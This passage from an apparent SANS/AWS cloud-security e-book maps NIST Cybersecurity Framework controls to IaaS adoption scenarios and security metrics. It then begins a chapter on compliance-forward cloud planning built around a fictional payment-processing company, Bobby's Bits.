are labeled as Response technologies, but they have two fallacies. 1. SOAR products typically do not directly respond to the event. They send an action or command via integration to another product to execute the response. Ex. SOAR sends a command to an endpoint technology to terminate a process in an automated rule or configuration within the SOAR solution. 2. SOAR products require a human to create the workflow, aka Playbook, that includes the steps to send a respond command. These workflows include logic gates with Who, What, When, Where, Why, and How. Some SOAR products include thresholds and/or limits, but they seldom have prioritization and categorization for an asset, vulnerability, or threat. Responding to a security event is process-driven because it requires a significant amount of log and analysis before the response activity is carried out. Respond technologies are highly desirable because they can reduce significant amounts of time and resources once they are configured to execute a set of actions based on human intellect and experience. More simply put, they are used to automate repetitive activities that humans have performed in the past. The final function, Recover is perhaps the most dependent on People and Process. Very few Recover technologies are able to return an asset (device, application, network data, user) back to a known state of good health automatically or out-of-the-box. If the technology has this capability, it is most likely a micro Recover function because the technology does not facilitate learning and enhancing the rest of the environment to avoid security issues in the future. 17 About the Author Josh Thurston is a cyber security veteran and leader in driving company strategy and innovation. Over fifteen years, Thurston has helped organizations solve complex security challenges and mature their security programs. He has helped bring new innovative products to market, designed and managed Security Operations Centers, and advised organizations on architecture and strategy in the public and private sector. At AWS, he is responsible for several product categories in the AWS Marketplace Security catalog including SOAR, DFIR, Cloud Workload Security, and Cloud Posture Management.This brings up the concept of “Pets vs. Cattle” (introduced by Bill Baker). At a very high level, Pets are personal assets that we care about deeply, assets like our laptops which are personal to us and hold sensitive data. We depend on these assets daily and fear their loss. Cattle are functional assets that serve a purpose, but we may have many of them for scalability and redundancy purposes. If something were to happen to a functional asset, we typically care less because we have multiple, or we can replace them with very little effort or impact. Security practitioners unknowingly think about personal and functional assets as they approach recovery from a security event. When a functional asset is compromised, it may be very easy to re-deploy or even revert to a backup. Change procedures may be more relaxed for these assets because the risk and impact to the business are low. When a personal asset is compromised, it may be extremely difficult and require lengthy amounts of time to plan and execute a recovery. Security analysts will likely need to coordinate with asset owners and other teams within the organization to minimize data loss and disruption. The risk and impact may be very high. Recovery procedures for personal assets require heavy amounts of People and Process, but little to zero Technology. Summary Evaluate frameworks and standards using this information to build a defensible and operational security architecture. With this guidance and the use of the primitives, foundational and layered security technologies can be deployed in any environment to truly meet the control requirements. Know that vulnerability assessments and risk management is an iterative process that never ends. Technology should be accompanied by Process and People to be fully effective in utilizing a blueprint. Introduction“Before coming to SANS in 2013, I was the lead security analyst at Gartner for almost 14 years. In early 2000, I began to see enterprises moving rapidly to application service providers, which quickly turned into use of software-as-a service (SaaS) providers. By 2010, those early adopters were starting to use infrastructure-as-a-service (IaaS) offerings, first for test and dev environments and then for production workloads. Over that period I wrote a series of “Critical Security Questions to Ask…” research notes that served as checklists of the important security controls that should be in use by any well-run cloud-based service provider. They were extremely popular Gartner research notes, and as I talked with Gartner clients that were making secure and business-enabling use of the cloud, I identified a core set of processes in use by the leaders: attention to a foundation of basic security hygiene; a referenceable framework to base gap analyses against and to justify strategy and resource needs to management; and a focus on having an integrated approach to monitoring, protecting and restoring critical business capabilities and sensitive information across both on-premises and cloud-based resources. Flash forward to 2019: The use of IaaS has become mainstream and key core security processes to focus on remain the same. This chapter focuses on using the NIST Cybersecurity Framework to make sure cloud-enabled business functions are at least as secure, and ultimately more secure, than they were before the availability of cloud services. Like everything we do at SANS, the goal is to provide security teams with actionable advice for supporting business goals with a secure approach to gaining the benefit of the cloud while avoiding or mitigating risk.”John Pescatore SANS Director of Emerging Security Trends Chapter 4: How to Optimize Security Operations in the Cloud Through the Lens of the NIST Framework 19Introduction The use of cloud services by businesses and government agencies has grown rapidly, with the movement of production workloads to infrastructure as a service (IaaS) growing at more than 35 percent per year.1 This move to cloud-based services has required security programs to extend operations beyond the data center and to re-evaluate security architectures, processes and controls to maintain effectiveness and efficiency in their efforts to secure their sensitive business applications, be they local or cloud-based. Some common success factors have emerged from enterprise cloud use cases where security has been maintained and even improved while moving critical services to IaaS: • Integrate security services available from cloud service providers with third- party security products/services to secure business-critical cloud workloads. The virtualized infrastructure of IaaS offers native security services and capabilities that greatly reduce the attack aperture, and that can be augmented by additional third-party security controls when risk assessments require higher levels of protection. • Extend security architecture, processes and controls across local data center applications and cloud IaaS implementations. Most enterprises use a mix of applications that run in local data centers, on external IaaS services and in hybrid configurations of both environments. Using common security controls and products across environments reduces the skills gap, eliminates data islands and silos, and makes it simpler to maintain a single security dashboard with a meaningful set of security metrics. • Use an established framework to plan, implement and justify the changes needed to enable secure business use of IaaS. While securing cloud services relies on the same basic security ingredients used in traditional data center systems, the overall security architecture, processes and security controls must change to ensure that the necessary levels of reliability and safety are maintained. Basing the process on an established framework, such as the NIST Cyber Security Framework, ensures a thorough risk evaluation and implementation and provides a solid basis for justifying plans, strategies and resource requests to management. Many businesses and government agencies have followed these guidelines to maintain their on-premises levels of security for production applications as those applications were moved to IaaS services. Even better, though, as new cloud security approaches emerged, they were able to raise the security level overall. 1“IaaS Emerges as Fastest-growing Sector of the Global Public Cloud Market,” ComputerWeekly, April 12, 2018, www. computerweekly.com/news/252438790/IaaS-emerges-as-fastest-growing-sector-of-the-global-public-cloud-market Introduction “Today, organizations can build in security as an integrated part of the migration to IaaS services, optimizing security processes so they can be extended to work seamlessly across both local and external services.” Keeping Business Safe—or Even Safer—in the Cloud Cloud services security has evolved pretty much as security has evolved for all new technologies and innovations. Initially, security teams, with a healthy fear of the unknown, rated external cloud services as high risks because of reduced visibility and control, and so attempted to prevent their use. As the benefits of cloud services became apparent to business units and IT organizations, they adopted them, even if it meant bypassing the security organization. Security teams considered those cloud deployments to be rogue efforts, and therefore did not even evaluate the security arrangements. In the face of security’s resistance, CEOs began to tell CISOs, “We are moving to use cloud services, so tell us how to secure them or just get out of the way.” Only then did most security teams begin to try to reactively add security controls on top of cloud services and replicate on-premises data-centric security processes at virtualized cloud-based services. Their efforts did usually reduce risk, but at a high cost of business disruption. What’s more, the tacked-on security processes were redundant and inefficient. But things have improved. Today, organizations can build in security as an integrated part of the migration to IaaS services, optimizing security processes so they can be extended to work seamlessly across both local and external services. Similarly, security operations teams can focus on selecting products to implement security controls that are integrated across both environments, often minimizing vendor count, employee staffing and training requirements while enabling a single view of situational awareness and risk. 21Differences in Securing Cloud Workloads Just as any recipe for a meal can be broken down into the five basic tastes (sweet, sour, salty, bitter and umami), securing information always comes down to providing three basic security functions, the “CIA triad” of confidentiality, integrity and availability.2 Security processes based on one or more of those basic functions deliver protect/detect/respond services using common security practices and products such as vulnerability assessment, configuration management, firewalls, anti-malware, SIEM and data protection. All these security controls are necessary because of three key ongoing vulnerabilities: • Applications and operating systems continue to have vulnerabilities that are not known until researchers find them and/or attackers exploit them. • System administrators often make mistakes in configuring and maintaining servers and PCs. • Users will always fall victim for scams such as phishing and malvertising. The adoption of cloud services does not eliminate any of those areas of vulnerability— and can in fact magnify them, because the power of the cloud can greatly expand the vulnerabilities that result from weak practices in IT or security operations and administration. On the other hand, IaaS brings the opportunity to significantly reduce the frequency of dangerous errors in operations and administration. The virtualized infrastructure of cloud services supports internal security mechanisms that evolving security processes can use in a number of ways: • Containers — A container is a packaged unit of software that includes the application, the runtime operating systems, tools, libraries and so on. 3 Well-prepared security teams can bake in configuration baselines and security agents that ensure that security controls will run anytime an application is launched. • Isolation — Network segmentation has long been a proven way to limit exposure from attackers to an isolated segment and limit the spread of malware or other payloads. IaaS offerings can provide virtual private clouds that support segmentation at a granular level, with automated placement and enforcement when new servers are enabled. Containers also provide process isolation that enables CPU and memory utilization to be defined and limited on a granular basis. 2“Security Best Practices for IT Managers,” June 2013, www.sans.org/reading-room/whitepapers/bestprac/security-practices-project- managers-34257 3“Security Assurance of Docker Containers,” October 2016, www.sans.org/reading-room/whitepapers/assurance/security-assurance- docker-containers-37432 Introduction• Orchestration and automation — Many security processes are relatively static IF–THEN sequences that are often documented in playbooks. Orchestration defines the conditions and sequences, but implementation can be a highly manual process. Integration of security processes into cloud service management capabilities can automate many steps in security operations playbooks. In this section we outlined the differences in securing cloud workloads. Next, we discuss using a security framework to address the needs security teams face. The NIST Cyber Security Framework The NIST Cyber Security Framework (CSF) came out of the Cybersecurity Enhancement Act of 2014,4 with the charter to be “a voluntary, consensus-based, industry-led set of standards, guidelines, best practices, methodologies, procedures, and processes to cost-effectively reduce cyber risks to critical infrastructure.”5 While there is nothing revolutionary about the NIST CSF, the “consensus-based, industry-led” approach resulted in widespread acceptance and adoption of the CSF by U.S. enterprises and the governments of several other countries. The top level of the framework lists the five major functions (identify, protect, detect, respond and recover) of cybersecurity. These functions, which are intended to include all basic cybersecurity activities, are broken into 22 categories representing program-level outcomes required to maintain cybersecurity, as illustrated in Figure 1. These categories are further decomposed to list 98 subcategories that list specific results required to successfully implement the appropriate level of security. “Securing information always comes down to providing three basic security functions, the “CIA triad” of confidentiality, integrity and availability.” 4“National Institute of Standards and Technology, www.nist.gov/news-events/news/2018/04/nist-releases-version-11-its-popular- cybersecurity-framework 5Cybersecurity Enhancement Act of 2014, www.congress.gov/bill/113th-congress/senate-bill/1353/text 23The identify/protect/detect/respond/recover construct has proved to be a powerful tool in explaining to upper-level management the necessary core functions for protecting business systems, but in operational environments, very few processes or products perform just one of the top-level functions. For example, while firewalls are most closely identified with protective technology, they also play key roles in identify, protect, detect and respond. The construct also does not differentiate functional areas, processes and products that are important to use for proactive (before the attack) or reactive (during and after the attack) reduction of risk. A more effective and efficient approach to selecting the most appropriate and effective security products and services to secure both data center and cloud-based systems is a scenario-based approach, which is covered in the next section. Moving from Frameworks to Features, Talk to Walk NIST Cyber Security Framework IDENTIFY PROTECT DETECT RESPOND RECOVER Asset Management Business Environment Governance Risk Assessment Risk Management StrategyAccess Control Awareness and Training Data Security Info Protection Processes and Procedures Maintenance Protective TechnologyAnomalies and Events Security Continuous Monitoring Detection ProcessesResponse Planning MitigationCommunications ImprovementsAnalysisRecovery Planning Improvements Communications Figure 1. The NIST CSF6 6“Introduction to the NIST CyberSecurity Framework for a Landscape of Cyber Menaces,” Security Affairs, April 20, 2017, https:// securityaffairs.co/wordpress/58163/laws-and-regulations/nist-cybersecurity-framework-2.html IntroductionBusiness units have been demanding the use of cloud-based services because of advantages they provide to efficiently deliver business services and adapt to changing needs. In order for security controls to be successful across both data center and cloud environments, security architectures, processes, controls and operations need to meet those same demands and provide the same seamless integration achievable in hybrid cloud services. Why a Framework? Regardless of the existing level of operations maturity, security teams face common needs: • Adapting to changing business demands and evolving threats • Obtaining management support for necessary resources and changes in IT or other areas • Demonstrating improvement and providing risk assessment and forecasting • Reducing the burden of satisfying auditors that security operations are compliant A security framework, with its recommended set of security processes and controls, along with a risk assessment and management approach to match the appropriate set of controls to the business and threat environment, is an efficient way to meet these needs. Using an established framework can take the guesswork out of the process for smaller organizations, while allowing larger and more mature security operations to justify their decisions and resource requests to management and auditors. 25Delivering Seamless Security Services There are three key focus areas for delivering seamless security services across the data center and IaaS- based applications. Integration of Infrastructure and External Security Controls at Each Boundary Most organizations already have standard architectures for delivering identify/protect/detect/respond/ restore services to data-center-based systems. When working with physical servers, organizations rely on a mix of security capabilities built into the Linux and Windows operating systems, as well as third-party host-based and network-based security controls. As local data centers moved to virtualization, another element was added to the mix: security primitives available in VMware or other underlying virtualization platforms. Similar, and often enhanced, security primitives are available from all major IaaS providers. For companies other than startups, extending existing architectures to secure cloud-based services is the key first step. Those organizations should focus on integrating services at each boundary layer. See Figure 2. In the early days of using the internet, many enterprises felt that there was a security gain by using products from different vendors at different layers in the architecture. However, real-world results proved this thinking to be false.7 For most security organizations, keeping the security architecture consistent across cloud services and the data center will support running the same security products across both environments. This will reduce training costs and administrative errors and also support more timely and accurate situational awareness and continuous monitoring. Common Practice/Due Diligence Controls Many security controls, such as firewalls, log monitoring and even intrusion detection systems, are mandated by compliance regimes (e.g., PCI DSS, HIPAA, FISMA, etc.) and represent due diligence controls. Any system containing sensitive or mission-critical data connected to the internet without a firewall and without log collection/monitoring/analysis would be considered noncompliant. While compliant does not always mean secure, noncompliant almost always represents unacceptable business risk. 7https://www.gartner.com/document/500890?ref=solrResearch&refval=214539204&qid=d3f5b689a39463b6c77406155a9672a1 IntroductionFigure 2. Integrated Services at Each Boundary LayerINTERNET IAAS SECURITY SERVICESENTERPRISE SECURITY CON - TROLS & SER - VICESSECURITY CONTROLS/APPS IDENTIFY/PROTECT/DETECT/RESPOND INTEGRATIONBIZ APPS SERVER OS DATA Best Practice/“Lean Forward Risk Reduction” Controls As the continuing news of breaches makes clear, for many organizations “common practice” is insufficient to mitigate their actual. Best practice approaches that increase identify and protect levels and decrease time to detect, respond and restore are key, but require additional resources and skill levels. “Lean forward” organizations that have the staff skills and product/service budgets to deploy, tune and monitor advanced and proactive risk reduction controls generally are not the ones showing up in the breach headlines. Using the NIST CSF Framework as a Starting Point for Putting Controls in Action As mentioned earlier, the major security functions listed in the NIST CSF do not represent distinct product areas. However, Table 1 assigns a primary mapping for each major product area. This mapping can be used as a starting point in conjunction with a scenario-based approach to ensure that 1) you have no due diligence/compliance gaps, and 2) you have a solid baseline to which advanced capabilities can be added. 27The decision on when to move beyond due diligence should be based on your own risk analysis. The NIST CSF points to the NIST Risk Management Framework,8 but many organizations have their own risk assessment and tracking processes that are outside the scope of this paper. The selection of architectures and products to implement security controls to protect cloud-based applications should be based on that assessment and the particular cloud deployment scenarios you face. The NIST CSF details the use of profiles and implementation tiers for this purpose. We will focus on a simplified approach based on the three most common cloud adoption scenarios facing businesses and government agencies: • Dev/test environment • Business app launched on or moved to IaaS • Hybrid architecture These scenarios represent the most frequent scenarios for securely moving business applications to cloud services in the typical order of adoption. While they do not represent every possible situation, these three scenarios generally provide a proven starting point you can tailor to your unique situation. At the due diligence level, the basic security controls required are largely the same across the scenarios when business-critical or sensitive data is involved. The sections that follow describe the different drivers for each scenario with the assumption that such sensitive data is involved. 8Risk Management https://www.gartner.com IntroductionNIST CSF Functions Identify ProtectProactive ReactiveDetect RespondPrimary Product Categories Due Diligence Configuration management System management Vulnerability assessment Awareness training Access management Data masking DDOS filtering Endpoint protection Firewall Ops skills training Intrusion detection systems Network monitoring SIEM Incident response services Trouble ticket systems System/endpoint backup Advanced/Lean Forward AppSec testing GRC Penetration testing Encryption Intrusion prevention systems Secure image/container Strong authentication Firewall policy management Data analytics Data loss prevention Endpoint detect/respond Forensic analysis High-avail/mirroring servicesTable 1. Mapping Cloud Controls to the NIST CSF Framework Recover Dev/Test Environment Moving a development and test environment to the cloud is often the first toe in the water for enterprise use of IaaS. The “pay as you go, not when you don’t need it” nature of IaaS is well-suited for this application. Rather than waste dedicated resources for development and test efforts that might only be used a small percentage of the time, an IaaS-based dev/test environment can be spun up and paid for only when actually needed. 29All too often, the security organization is not involved in the migration, a circumstance with three downsides: • Test data used in the IaaS instantiation often puts sensitive customer and business data at risk. • That same environment can be used to rapidly evaluate operating systems and application patches, reducing exposure. • The initial movement to dev/test on IaaS is an ideal chance for the security operation team to “plus up” its skills and develop knowledge around cloud capabilities and risks. Data masking, obfuscation or encryption is a critical due-diligence requirement for dev/test environments. While realistic test data is necessary, you should never expose live customer data in dev/test usage. Similarly, standard boundary/perimeter network segmentation and monitoring as implemented by firewalls and IDS are required between this environment and the corporate network. If dev/test requires a live internet connection, the same controls are required at the internet connection side. Because the entire purpose of a dev/test environment is to support an environment to deliver product- ready applications, the due diligence level includes application security (AppSec) testing tools/services that compliance regimes do not always require. Embedding AppSec testing into the development and test cycle is especially important in the rapid iteration cycles in agile/DevOps methodologies. The traffic and user/endpoint behaviors on dev/test networks differ greatly from those on production systems, and advanced analytics and behavior-based detection/ prevention usually generate large volumes of false positives. With data masking in use, there is less of a need for data loss prevention, and dev/test environments generally do not require full DDoS protection. See Table 2. IntroductionNIST CSF Functions Identify ProtectProactive ReactiveDetect Respond RecoverPrimary Product Categories Due Diligence AppSec testing Configuration management System management Vulnerability assessment Access management Data masking Firewall Ops skills training Intrusion detection systems SIEM Incident response services Trouble ticket systems System/endpoint backupAdvanced/Lean Forward GRC Penetration testing Encryption Intrusion prevention systems Secure image/container Strong authentication Endpoint detect/respond Forensic analysis High-avail/mirroring servicesTable 2. Security Control Set for Dev/Test Migration to IaaS Business App Launched on/Moved to IaaS When a production application is launched from or moved to IaaS, the full range of confidentiality/ integrity/availability services is required across all five NIST CSF functions to reach the due diligence level. From a product perspective, only data masking is typically not included in the architecture, because real product data is required and must be safeguarded. A typical example is a new web-based commerce application that will be first launched from an IaaS platform, but the same security principles apply to an existing application being updated and moved to IaaS. The due diligence level of this scenario has two key goals: • Extend security configuration standards and continuous monitoring to IaaS. Every organization should have standards for the baseline configuration of all servers, applications, security controls and the like used in the production environment. These same standards, such as the Center for Internet Security Benchmarks,9 should be applied 9CIS Benchmarks, Center for Internet Security, www.cisecurity.org/cis-benchmarksdocument/500890 31to applications running on IaaS. The processes for monitoring for misconfigurations and vulnerabilities should be identical for both data center applications and those running in IaaS. When it comes to product selection, it is key to have logging, monitoring and configuration/ vulnerability analysis that integrates with a common SIEM platform and supports all applications. • Use common products for protect/detect infrastructure functions where possible. Most firewall, intrusion detection/protection, and endpoint protection products (and those like them) have both data center products and cloud-centric versions. Using the same vendor on IaaS as is used for data center security has all the advantages previously discussed. When risk analysis requires higher levels of protection and resources (people, skills, budget) to support it, moving to the advanced security level generally means being proactive in avoiding or quickly mitigating vulnerabilities (AppSec testing, penetration testing); reducing unnecessary access privileges through secure access management, encryption and strong authentication (as a minimum for admin access); and reducing time to detect/respond/restore through the products and services listed. In addition, you can raise the security bar for applications running on IaaS with such advanced cloud security capabilities as secure images and containers (discussed earlier). DDoS protection becomes more critical when an application is fully cloud- based. While cloud management platforms are not strictly security products, their use can increase the accuracy of asset management and vulnerability data, as well as support compliance reporting requirements. Governance, risk and compliance (GRC) platforms can greatly reduce the cost of demonstrating compliance (allowing more of the security budget to be focused on security), but they require large up-front investments in both procurement costs and administrative time and skills. See Table 3. Hybrid Architecture The final scenario is when organizations begin to run applications that span both local data centers and IaaS services in a near seamless manner. A common situation is expanding an application that has been running in a data center servicing one geographic region to global coverage using IaaS to expand capacity and proximity. The risk assessment used for the previous scenario (“Business App Launched on/ Moved to IaaS”) does not change for this scenario, but hybrid cloud environments do raise a number of unique challenges and opportunities: IntroductionNIST CSF Functions Identify ProtectProactive ReactiveDetect Respond RecoverPrimary Product Categories Due Diligence Awareness training Configuration management System management Vulnerability assessment Access management DDOS filtering Endpoint protection Firewall Ops skills training Intrusion detection systems Network monitoring SIEM Incident response services Trouble ticket systems System/endpoint backupAdvanced/Lean Forward AppSec testing GRC Penetration testing Cloud management platforms Encryption Intrusion prevention systems Secure image/container Strong authentication Firewall policy management Data analytics Data loss prevention Endpoint detect/respond Forensic analysis High-avail/mirroring servicesTable 3. Security Control Set for Business App Launched on/Moved to IaaS • Changes in policy standards for identify and protect products must be distributed, validated and audited in an integrated manner across the environments. • Detect products have a more complex environment to monitor, and behaviors in the more rigid data center environment often differ from what is seen on the IaaS environment. • Forensic analysis as a respond function has more complicated attack paths to collect and analyze. • If the IaaS environment supports a failover or mirroring capability, backup and recovery may be simplified in hybrid cloud environments. 33For organizations that have not first moved through the first two scenarios, the migration to hybrid cloud services should not proceed without establishing a baseline of due diligence cloud infrastructure protection, monitoring and respond/restore capabilities, along with a security operations staff that has already expanded its skills to include cloud environments. From this starting point, staff can integrate the same advanced capabilities as in the previous scenario to raise security levels. The primary difference in product selection for the hybrid cloud scenario is selecting products that you can deploy, manage and monitor across both environments (see Table 4). The typical starting point is to look at the security products in use on the data center side and see whether those vendors are listed in the IaaS provider’s partners list or marketplace. Ideally you would use only products that are supported across the major IaaS providers, but there are simple workarounds for many product areas if you have to use different products: • Network policy management tools support change control, auditing and analysis of firewall policies across multiple vendors. • Any host-based product that supports syslog generation can report to a SIEM console. • The output from disparate vulnerability assessment products that support the Security Content Automation Protocol (SCAP) can be consolidated by SIEM products. Using Metrics to Assess and Communicate Effective Security Operations From a security perspective, the movement to use IaaS does not change the need to collect meaningful security metrics. Metrics are needed not only to assess, evolve and optimize security operations, but also to provide accurate status, trend and risk data to management. The minimal set of operations metrics that organizations should establish for their systems running on cloud services include: • Asset management accuracy — What percentage of assets are identified and profiled correctly? • Time to detect — How quickly is an attack detected? • Time to respond — How quickly are incident response actions initiated? IntroductionNIST CSF Functions Identify ProtectProactive ReactiveDetect Respond RecoverPrimary Product Categories Due Diligence Configuration management System management Vulnerability assessment Awareness training Access management Data masking DDOS filtering Endpoint protection Firewall Ops skills training Intrusion detection systems Network monitoring SIEM Incident response services Trouble ticket systems System/endpoint backupAdvanced/Lean Forward AppSec testing GRC Penetration testing Encryption Intrusion prevention systems Secure image/container Strong authentication CASB Data analytics Data loss prevention Endpoint detect/respond Forensic analysis Network policy management High-avail/mirroring servicesTable 4. Security Control Set for the Hybrid Cloud • Time to restore — How quickly is incident response completed and full business services restored? • Real-time risk assessment — What percentage of business-critical operations is currently at risk from known threats? For most organizations, the metrics that security personnel show to CEOs and boards of directors will be different from operational metrics—the focus needs to be more strategic and show more connection to business services and less to attacks and threats. Figure 3 translates the key performance metrics into points that will resonate with CXOs and boards. 35For most organizations, the metrics that security personnel show to CEOs and boards of directors will be different from operational metrics—the focus needs to be more strategic and show more connection to business services and less to attacks and threats. Figure 3 translates the key performance metrics into points that will resonate with CXOs and boards. Translate Time to Detect and Time to Respond Improvement to: EFFICIENCY EFFECTIVENESS Decrease the cost of dealing with known threats. Decrease the realized impact of residual risks. Decrease the cost of demonstrating compliance. Increase incident count with constant staff. Maintain level of protection with less EBITDA impact.Increase the speed of dealing with a new threat or technology. Decrease the time required to secure a new business application, partner, or supplier. Reduce incident cost: • Less downtime • Few customer defections Security as a competitive business factor Figure 3. Connecting Metrics to Business Services Summary Thousands of businesses are successfully and safely using cloud services to meet business goals for increasing the agility and decreasing the cost of IT services. SANS has seen several common patterns across the security operations organizations that have been able to deliver the needed security architectures, processes and controls to enable safe business use of cloud services: • Organizations use the NIST CSF Framework as a baseline and a tool to communicate and justify strategy, plans and resource needs to management. • They involve the security team when IT first tries out IaaS, typically when dev/test is moved to the cloud. A robust selection of third-party security products in the cloud environment should be a key input into the evaluation of the IaaS provider. Introduction About the Author John Pescatore joined SANS as director of emerging technologies in January 2013 after more than 13 years as lead security analyst for Gartner, running consulting groups at Trusted Information Systems and Entrust, 11 years with GTE, and service with both the National Security Agency, where he designed secure voice systems, and the U.S. Secret Service, where he developed secure communications and surveillance systems “and the occasional ballistic armor installation.” John has testified before Congress about cybersecurity, was named one of the 15 most-influential people in security in 2008 and is an NSA- certified cryptologic engineer.• Teams extend the security architecture and processes to include applications running in the cloud, focusing on the most common business use cases. • They maximize both effectiveness and efficiency by using the same third-party security products in the cloud that they use to secure on-premises applications (where possible). • Once a secure baseline has been established for security operations in the cloud, security teams investigate cloud-specific security processes and controls that can result in advances over existing security practices. Security teams will need to use mixes of people, processes and technologies to make sure business use of cloud services is secure. These patterns apply across all three of those areas. An honest assessment of your security operations team skills and processes completeness against the NIST CSF will enable you to evolve and extend security operations to enable business services while justifying needed changes and resources allocations. 37 Automating Compliance and Securing Data and Applications in AWS Automating Compliance and Securing Data and Applications in AWSChapter 5: How to Automate Compliance and Risk Management for Cloud Workloads “As more and more services move to the cloud, organizations must be careful about the impact of this movement. Compliance is one area where many organizations may believe that the cloud offloads their responsibility-but nothing could be further from the truth. “Someone else’s server” does not equate to “someone else’s problem.” Organizations must still be vigilant in protecting their data and their customers, and ensure that they remain compliant with all necessary regulations. In this chapter, I explore what compliance in the cloud means and the key things you need to keep when transitioning some of your services to a third party.”Matt Bromiley SANS Certified Instructor Automating Compliance and Securing Data and Applications in AWS 39Introduction There seems to be a constant battle between how fast businesses can grow and whether they can secure their customers’ data. Many organizations get so wrapped up in trying to expand and scale for customer access that they make quick-fire, ad hoc decisions that negatively impact the security of the data of those very same customers. Complicating matters, the explosion of cloud-based services and offerings has led many organizations to quickly adopt services whose risks, quite frankly, they may not understand. Of course, various compliance standards, such as PCI DSS and FedRAMP, have been developed to help organizations establish models to combat the loose handling of customer data. But this is where many organizations get lost. At the mere mention of the word “compliance,” business and process owners tend to sink into an endless stream of acronym soup and never come up for air. But they do not have to fight this battle alone. The cloud is easy to deploy, but so is compliance. While moving various elements of your business to the cloud does not remove the need for compliance, it does shape how you view, apply and assess compliance and risk management. In this paper, we focus on how moving to the cloud presents new compliance opportunities and how to seize them for your organization. We also examine a case study where a business has made a sudden shift to the cloud and look at some of the additional risk considerations it needs to make. Last, we ask you to consider what may be a potential paradigm shift in how your organization approaches compliance and data security. In what we are calling “compliance-forward cloud planning,” we encourage organizations to rethink the way they plan and deploy their cloud infrastructures, with compliance a focus from the beginning and not an afterthought. By focusing on compliance at the onset, organizations can make infrastructure decisions that will maintain compliance—not violate it. Of course, if your organization has already moved to the cloud, compliance-forward planning may not be applicable, but the concepts pertaining to how to remain compliant certainly are. At the end of this paper, we hope you have some new thoughts and insight to bring to your team to discuss compliance and risk management options. “Compliance-forward cloud planning is the concept of making cloud infrastructure planning decisions based on adhering to compliance of data first—not as an afterthought.” Automating Compliance and Securing Data and Applications in AWSRisk Management: Protecting Your Customers Before we discuss techniques to secure your data and infrastructure within the cloud, it is important to understand how your risk model changes within the cloud. Some organizations think that because the data exists in the cloud—that is, on someone else’s system—compliance is no longer their responsibility. This is not the case, and such an assumption is likely to put a business at risk. When an organization takes advantage of services and/or infrastructure within the cloud, only a handful of responsibilities transfer to the cloud provider. For example, the cloud provider is responsible for ensuring that the network and hardware remain up and functional. However, the organization is still responsible for the security of the data that is placed within the cloud resources. Figure 1 illustrates the division of responsibilities between an organization and its cloud provider. Cloud Provider Uptime Data availability Networking ComputationCloud Customer Data integrity & protection Identity management Client data encryption Client-side networking security Figure 1. Respective Responsibilities of Cloud Provider and Customer1 1 Note that your cloud provider may offer its own shared responsibility model. Check with your provider to verify what it does and does not provide. 41Breaking Out of “Compliance-Backward” As mentioned earlier, one of our goals with this paper is to shift to a compliance-forward frame of mind, where compliance becomes part of the design, not an afterthought or a nuisance. However, moving away from a compliance-backward approach is much easier said than done. Understanding compliance and what your data may be subject to can sometimes seem like a daunting task. In this section, we discuss common compliance standards and how to bring them into your organization. Common Compliance Standards Table 1 lists some of the more common compliance standards that your organization may encounter. Bringing Compliance into Your Infrastructure Whichever compliance standards your data may be subject to, cloud infrastructure provides multiple ways to achieve compliance. One of the most apparent is the ability to make use of multiple third-party vendors. Furthermore, your cloud provider may offer native, compliant-ready solutions that, when coupled with third-party integrations, can alleviate a lot of compliance headaches. Oftentimes, cloud providers facilitate third-party integrations and automations that allow for various application and infrastructure testing. Compliance is no different. Figure 2 describes techniques that you can use today to ensure your business remains compliant. Standard FedRAMP HIPAA/ HITECH ISO 27001 PCI DSSWhat It Protects or Defines The approach for security assessment and monitoring that must be in place to provide services to the U.S. government Standards for securing the privacy of protected health information (PHI) Standards for security management and program implementation Payment cardholder data (CHD) or data used in transaction authorization (sensitive authorization data)Table 1. High-Level Compliance Standards Automating Compliance and Securing Data and Applications in AWSCase Study: Protecting Data on Multiple Angles In recent years placing customer data within NoSQL and key-value databases has been a common strategy. With an easy-to-manage back end and rich front-end development options, NoSQL databases provide developers an easy-to-consume data format to enhance the customer experience. However, faster, compliance-second development also allows for compliance mishaps.Automated Compliance Testing With an automated infrastructure comes automated testing. You can select third-party providers and/or vendors to test your data on a frequent schedule. Compliance testing can range from ensuring individual account access to validation that well-known encryption standards are in place. Automated Vulnerability Testing Vulnerability assessments and scans can be automated within the cloud to ensure that you are not exposed to known, widespread vulnerabilities. Remaining patched from known vulnerabilities is your responsibility, as discussed earlier. The Benefits of Someone Else’s Technology While the cloud presents lots of challenges, it also presents a unique benefit in removing the technology “problem” from the organization. By focusing instead on building secure applications, hardware and availability are cleared.Compliance Scheduled Adherence Unfortunately, many organizations do not scan or test their systems as often as they should. However, with data being accessible everywhere, you can schedule scans during convenient periods and ensure you are staying compliant. Figure 2. Techniques for Achieving Compliance 43Let’s examine an organization called “Bobby’s Bits,” a company that recently moved its infrastructure to the cloud. The following sections describe specific areas where compliance mishaps may negatively impact the organization and how to potentially mitigate or implement better controls. Bobby’s Bits: A New Cloud-Based Model Bobby’s Bits, a fictional organization, helps small businesses accept and process payments for online and in-store orders using payment methods other than cash or credit card. Bobby’s business used to be fairly local, but because of some recent word-of-mouth marketing, the business has grown quite significantly. As a result, the owner had to hire a handful of developers and move his business away from the servers in his garage to the cloud. This move provided Bobby and the team easier access to all of the business’s resources and allows them to automatically scale for busy days. Figure 3 shows a high-level diagram of the new business structure. With this new cloud-based model, the company can scale quickly to meet the demands of its customers—and the demands of its customers’ customers. But this rate of growth could be creating a compliance risk. In the next section, we examine a few areas where Bobby should probably exercise caution and slow down (and where you should too!). Figure 3. High-Level Diagram of the New Cloud-Based Model Automating Compliance and Securing Data and Applications in AWSProtecting PCI Data The challenge: Bobby is assisting his customers in facilitating payments for their customers. This is an immediate escalation in compliance requirements, because Bobby is inserting his business into the payment process, which contains sensitive, protected data (see Figure 4). Furthermore, Bobby is handling payments for multiple merchants, which means he must also be segregating and protecting data. The solution: During the development of Bobby’s application and infrastructure, it is crucial that data segregation and encryption are in place. This approach will help him adhere to necessary PCI standards, as well as others concerning data integrity and confidentiality. Furthermore, when Bobby’s customers come to request their data, he must ensure that no commingling is happening. Figure 4. Customer PCI data within the organization must be defended. Unnecessary Data Exposure The problem: Another issue that many organizations tend to gloss over is just how vulnerable they may be internally. To make life easier, when Bobby hired and set up accounts for his developers, he simply gave them all a shared administrative account (see Figure 5). Unfortunately, this is a dangerous practice that may result in security and/or data concerns. Let’s examine a few possibilities: • The development team is likely working on the business during all hours of the day—and potentially on multiple devices. Bobby needs to gain insight into whether the data is being synchronized and/or used by his development team outside of his protected space. 45• The sharing of credentials among the development team also poses a significant risk. For example, what happens when developers leave? Are their 